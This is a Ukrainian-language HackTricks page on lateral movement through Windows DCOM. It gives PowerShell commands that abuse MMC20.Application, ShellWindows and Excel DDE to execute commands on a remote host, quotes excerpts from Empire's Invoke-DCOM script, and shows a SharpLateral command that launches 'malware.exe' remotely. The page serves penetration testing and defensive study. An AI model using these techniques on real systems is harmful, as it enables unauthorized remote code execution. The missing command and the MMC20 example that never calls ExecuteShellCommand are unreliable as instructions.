DCOM Exec

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Try Hard Security Group


MMC20.Application

Для отримання додаткової інформації про цю техніку перегляньте оригінальний пост за посиланням https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/

Розподілений об'єктний модель компонентів (DCOM) надає цікаві можливості для мережевої взаємодії з об'єктами. Microsoft надає вичерпну документацію як для DCOM, так і для моделі об'єктів компонентів (COM), доступну тут для DCOM і тут для COM. Список додатків DCOM можна отримати за допомогою команди PowerShell:

Get-CimInstance Win32_DCOMApplication

COM-об'єкт, Клас додатка MMC (MMC20.Application), дозволяє скриптування операцій MMC snap-in. Зокрема, цей об'єкт містить метод ExecuteShellCommand під Document.ActiveView. Додаткову інформацію про цей метод можна знайти тут. Перевірте його запускаючи:

Ця функція сприяє виконанню команд через мережу за допомогою додатка DCOM. Для взаємодії з DCOM віддалено як адміністратор, можна скористатися PowerShell наступним чином:

[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))

Ця команда підключається до додатку DCOM та повертає екземпляр об'єкта COM. Метод ExecuteShellCommand може бути викликаний для виконання процесу на віддаленому хості. Процес включає наступні кроки:

Перевірка методів:

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com.Document.ActiveView | Get-Member

Отримати віддалене виконання коду (RCE):

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com | Get-Member

# Then just run something like:

ls \\10.10.10.10\c$\Users

ShellWindows & ShellBrowserWindow

Для отримання додаткової інформації про цю техніку перевірте оригінальний пост https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/

Було виявлено, що об'єкт MMC20.Application не має явних "LaunchPermissions" і має дозволи, що дозволяють адміністраторам доступ. Для отримання додаткових відомостей можна дослідити тему тут, і рекомендується використання @tiraniddo OleView .NET для фільтрації об'єктів без явних дозволів на запуск.

Два конкретних об'єкти, ShellBrowserWindow та ShellWindows, були виділені через відсутність явних дозволів на запуск. Відсутність запису реєстру LaunchPermission під HKCR:\AppID\{guid} свідчить про відсутність явних дозволів.

ShellWindows

Для ShellWindows, який не має ProgID, методи .NET Type.GetTypeFromCLSID та Activator.CreateInstance дозволяють створювати об'єкти за допомогою його AppID. Цей процес використовує OleView .NET для отримання CLSID для ShellWindows. Після створення можливе взаємодія через метод WindowsShell.Item, що призводить до виклику методу, наприклад, Document.Application.ShellExecute.

Наведено приклади команд PowerShell для створення об'єкта та віддаленого виконання команд:

$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)

Бічний рух з об'єктами Excel DCOM

Бічний рух можна досягти, використовуючи об'єкти DCOM Excel. Для докладної інформації рекомендується прочитати обговорення про використання Excel DDE для бічного руху через DCOM на блозі Cybereason.

Проект Empire надає сценарій PowerShell, який демонструє використання Excel для віддаленого виконання коду (RCE) шляхом маніпулювання об'єктами DCOM. Нижче наведені уривки зі сценарію, доступного на сховищі GitHub Empire, де показані різні методи зловживання Excel для RCE:

# Detection of Office version
elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$isx64 = [boolean]$obj.Application.ProductCode[21]
Write-Host  $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
}
# Registration of an XLL
elseif ($Method -Match "RegisterXLL") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Application.RegisterXLL("$DllPath")
}
# Execution of a command via Excel DDE
elseif ($Method -Match "ExcelDDE") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command")
}

Інструменти автоматизації для бічного руху

Для автоматизації цих технік виділено два інструменти:

  • Invoke-DCOM.ps1: Скрипт PowerShell, наданий проектом Empire, який спрощує виклик різних методів для виконання коду на віддалених машинах. Цей скрипт доступний у сховищі GitHub Empire.

  • SharpLateral: Інструмент, призначений для виконання коду віддалено, який можна використовувати за допомогою команди:

SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe

Автоматичні Інструменти

  • Сценарій Powershell Invoke-DCOM.ps1 дозволяє легко викликати всі закоментовані способи виконання коду на інших машинах.

  • Ви також можете використовувати SharpLateral:

SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe

Посилання

Група Try Hard Security

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated